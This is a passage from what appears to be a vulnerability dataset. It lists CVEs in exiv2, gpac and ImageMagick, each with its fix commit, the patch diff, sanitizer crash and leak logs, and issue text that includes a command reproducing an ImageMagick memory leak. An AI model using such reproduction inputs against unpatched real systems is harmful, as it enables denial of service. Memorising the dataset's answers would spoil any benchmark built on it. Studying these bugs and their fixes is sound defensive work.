#7 0x413308 in _start (/home/marsman/Desktop/crashana/exiv2/exiv2-3f2e0de/build_asan/bin/exiv2+0x413308)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
```
Addition: This bug was found with mem-AFL, which is based on AFL. Mem-AFL is developed by Yanhao(unfuzzable123@gmail.com) & Marsman1996(lqliuyuwei@outlook.com)
---
Comment #1 by piponazo:
Confirmed. I could reproduce the issue in my desktop with Ubuntu 18.04 and gcc-7.3.
Thanks for reporting! We will try to fix this issue ASAP.
---
Comment #2 by piponazo:
@Marsman1996 the issue should be fixed now. Could you please confirm?
---
Comment #3 by Marsman1996:
@piponazo I think this issue should be fixed, since exiv2 (master 6e42c1b) no longer crashes or something else when open the poc file.
---
Comment #4 by carnil:
This issue has been assigned [CVE-2018-19607](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19607) | https://nvd.nist.gov/vuln/detail/CVE-2018-19607 | |
gpac.cve-2023-3012 | NULL Pointer Dereference in GitHub repository gpac/gpac prior to 2.2.2. | https://huntr.dev/bounties/916b787a-c603-409d-afc6-25bb02070e69 | https://github.com/gpac/gpac/commit/53387aa86c1af1228d0fa57c67f9c7330716d5a7, https://huntr.dev/bounties/916b787a-c603-409d-afc6-25bb02070e69 | CWE-476 | gpac/gpac | 53387aa86c1af1228d0fa57c67f9c7330716d5a7~1 | diff --git a/src/utils/xml_parser.c b/src/utils/xml_parser.c
index 49df338164..11f6f2f5ca 100644
--- a/src/utils/xml_parser.c
+++ b/src/utils/xml_parser.c
@@ -704,6 +704,8 @@ static void xml_sax_parse_entity(GF_SAXParser *parser)
}
}
if (ent_name) gf_free(ent_name);
+ if (ent && !ent->value)
+ parser->sax_state = SAX_STATE_SYNTAX_ERROR;
xml_sax_store_text(parser, i);
}
@@ -968,7 +970,7 @@ static GF_Err xml_sax_parse(GF_SAXParser *parser, Bool force_parse)
static GF_Err xml_sax_append_string(GF_SAXParser *parser, char *string)
{
u32 size = parser->line_size;
- u32 nl_size = (u32) strlen(string);
+ u32 nl_size = string ? (u32) strlen(string) : 0;
if (!nl_size) return GF_OK;
| https://nvd.nist.gov/vuln/detail/CVE-2023-3012 | ||||
imagemagick.cve-2019-13309 | ImageMagick 7.0.8-50 Q16 has memory leaks at AcquireMagickMemory because of mishandling the NoSuchImage error in CLIListOperatorImages in MagickWand/operation.c. | https://github.com/ImageMagick/ImageMagick/issues/1616 | https://github.com/ImageMagick/ImageMagick/commit/5f21230b657ccd65452dd3d94c5b5401ba691a2d, https://github.com/ImageMagick/ImageMagick/issues/1616, https://github.com/ImageMagick/ImageMagick6/commit/5982632109cad48bc6dab867298fdea4dea57c51 | CWE-401 | ImageMagick/ImageMagick | 5f21230b657ccd65452dd3d94c5b5401ba691a2d~1 | diff --git a/MagickWand/mogrify.c b/MagickWand/mogrify.c
index 82b3c0c1c4a..150b6792304 100644
--- a/MagickWand/mogrify.c
+++ b/MagickWand/mogrify.c
@@ -7908,6 +7908,8 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,
&distortion,exception);
if (difference_image == (Image *) NULL)
break;
+ reconstruct_image=DestroyImage(reconstruct_image);
+ image=DestroyImage(image);
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=difference_image;
@@ -8295,6 +8297,7 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,
q=GetImageFromList(*images,index-1);
if (q == (Image *) NULL)
{
+ p=DestroyImage(p);
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",argv[i+1]);
status=MagickFalse;
diff --git a/MagickWand/operation.c b/MagickWand/operation.c
index 9005da58870..b8745743469 100644
--- a/MagickWand/operation.c
+++ b/MagickWand/operation.c
@@ -4171,7 +4171,10 @@ WandPrivate MagickBooleanType CLIListOperatorImages(MagickCLI *cli_wand,
{
index_image=GetImageFromList(_images,index-1);
if (index_image == (Image *) NULL)
- CLIWandExceptArgBreak(OptionError,"NoSuchImage",option,arg1);
+ {
+ insert_image=DestroyImage(insert_image);
+ CLIWandExceptArgBreak(OptionError,"NoSuchImage",option,arg1);
+ }
InsertImageInList(&index_image,insert_image);
}
_images=GetFirstImageInList(index_image);
| https://github.com/ImageMagick/ImageMagick/issues/1616 | ==22113==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13504 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c3e5114 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c3e96c9 in CloneImage MagickCore/image.c:823:25
#4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 6553600 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c4c18061c in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7f9c4c186901 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7f9c4c16e330 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4156:28
#5 0x7f9c4c16e001 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1324:10
#6 0x7f9c4c1909be in GetCacheViewAuthenticPixels MagickCore/cache-view.c:312:10
#7 0x7f9c4c3f83a1 in SetImageAlpha MagickCore/image.c:2372:7
#8 0x7f9c4c479695 in ConformPixelInfo MagickCore/pixel.c:235:12
#9 0x7f9c4c3ec4a7 in SetImageBackgroundColor MagickCore/image.c:2441:3
#10 0x7f9c4c5e88b5 in ExtentImage MagickCore/transform.c:1138:10
#11 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#12 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#13 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#14 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#15 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#16 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#17 0x526f95 in MagickMain utilities/magick.c:149:10
#18 0x5268e1 in main utilities/magick.c:180:10
#19 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 22616 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c3eaafd in CloneImage MagickCore/image.c:879:43
#4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c3e5114 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c3e7753 in AcquireImageInfo MagickCore/image.c:350:28
#4 0x7f9c4c3f0513 in CloneImageInfo MagickCore/image.c:945:14
#5 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#6 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#7 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 9152 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c4c16aa04 in AcquirePixelCache MagickCore/cache.c:195:28
#3 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#4 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#5 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#6 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#7 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#8 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#12 0x526f95 in MagickMain utilities/magick.c:149:10
#13 0x5268e1 in main utilities/magick.c:180:10
#14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 512 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c478f3a in AcquirePixelChannelMap MagickCore/pixel.c:101:35
#4 0x7f9c4c479114 in ClonePixelChannelMap MagickCore/pixel.c:139:13
#5 0x7f9c4c3ea34f in CloneImage MagickCore/image.c:849:28
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 288 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c148284 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c149d5d in CloneBlobInfo MagickCore/blob.c:554:27
#4 0x7f9c4c3ea808 in CloneImage MagickCore/image.c:867:25
#5 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#6 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#7 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#8 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#12 0x526f95 in MagickMain utilities/magick.c:149:10
#13 0x5268e1 in main utilities/magick.c:180:10
#14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 192 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c16b5df in AcquirePixelCacheNexus MagickCore/cache.c:271:29
#4 0x7f9c4c16af8d in AcquirePixelCache MagickCore/cache.c:212:26
#5 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#6 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 | === https://github.com/ImageMagick/ImageMagick/issues/1616 ===
Title: memory leaks is detected at AcquireMagickMemory
---
Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's memory leaks in MagickCore/memory.c:478:10
This issue is maybe related with [#1604](https://github.com/ImageMagick/ImageMagick/issues/1604).
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 -quality 3 "(" magick:logo +repage ")" "(" magick:wizard +repage ")" -quiet -caption "%h%U" -compare -insert 2 tmp`
Here's ASAN log.
```
==22113==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13504 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c3e5114 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c3e96c9 in CloneImage MagickCore/image.c:823:25
#4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 6553600 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c4c18061c in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7f9c4c186901 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7f9c4c16e330 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4156:28
#5 0x7f9c4c16e001 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1324:10
#6 0x7f9c4c1909be in GetCacheViewAuthenticPixels MagickCore/cache-view.c:312:10
#7 0x7f9c4c3f83a1 in SetImageAlpha MagickCore/image.c:2372:7
#8 0x7f9c4c479695 in ConformPixelInfo MagickCore/pixel.c:235:12
#9 0x7f9c4c3ec4a7 in SetImageBackgroundColor MagickCore/image.c:2441:3
#10 0x7f9c4c5e88b5 in ExtentImage MagickCore/transform.c:1138:10
#11 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#12 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#13 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#14 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#15 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#16 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#17 0x526f95 in MagickMain utilities/magick.c:149:10
#18 0x5268e1 in main utilities/magick.c:180:10
#19 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 22616 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c3eaafd in CloneImage MagickCore/image.c:879:43
#4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c3e5114 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c3e7753 in AcquireImageInfo MagickCore/image.c:350:28
#4 0x7f9c4c3f0513 in CloneImageInfo MagickCore/image.c:945:14
#5 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#6 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#7 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#11 0x526f95 in MagickMain utilities/magick.c:149:10
#12 0x5268e1 in main utilities/magick.c:180:10
#13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 9152 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c4c437f26 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c4c16aa04 in AcquirePixelCache MagickCore/cache.c:195:28
#3 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#4 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#5 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#6 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#7 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#8 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#12 0x526f95 in MagickMain utilities/magick.c:149:10
#13 0x5268e1 in main utilities/magick.c:180:10
#14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 512 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c478f3a in AcquirePixelChannelMap MagickCore/pixel.c:101:35
#4 0x7f9c4c479114 in ClonePixelChannelMap MagickCore/pixel.c:139:13
#5 0x7f9c4c3ea34f in CloneImage MagickCore/image.c:849:28
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 288 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c148284 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c149d5d in CloneBlobInfo MagickCore/blob.c:554:27
#4 0x7f9c4c3ea808 in CloneImage MagickCore/image.c:867:25
#5 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#6 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#7 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#8 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#12 0x526f95 in MagickMain utilities/magick.c:149:10
#13 0x5268e1 in main utilities/magick.c:180:10
#14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 192 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10
#3 0x7f9c4c16b5df in AcquirePixelCacheNexus MagickCore/cache.c:271:29
#4 0x7f9c4c16af8d in AcquirePixelCache MagickCore/cache.c:212:26
#5 0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28
#6 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22
#7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#14 0x526f95 in MagickMain utilities/magick.c:149:10
#15 0x5268e1 in main utilities/magick.c:180:10
#16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 96 byte(s) in 3 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c593033 in AddValueToSplayTree MagickCore/splay-tree.c:189:21
#3 0x7f9c4c593f3c in CloneSplayTree MagickCore/splay-tree.c:372:12
#4 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25
#5 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10
#6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c598084 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c594115 in NewSplayTree MagickCore/splay-tree.c:1148:32
#4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14
#5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25
#6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10
#7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16
#8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20
#9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22
#10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14
#11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#14 0x526f95 in MagickMain utilities/magick.c:149:10
#15 0x5268e1 in main utilities/magick.c:180:10
#16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397)
#1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10
#2 0x7f9c4c598084 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10
#3 0x7f9c4c594115 in NewSplayTree MagickCore/splay-tree.c:1148:32
#4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14
#5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27
#6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10
#7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21
#8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12
#9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14
#10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
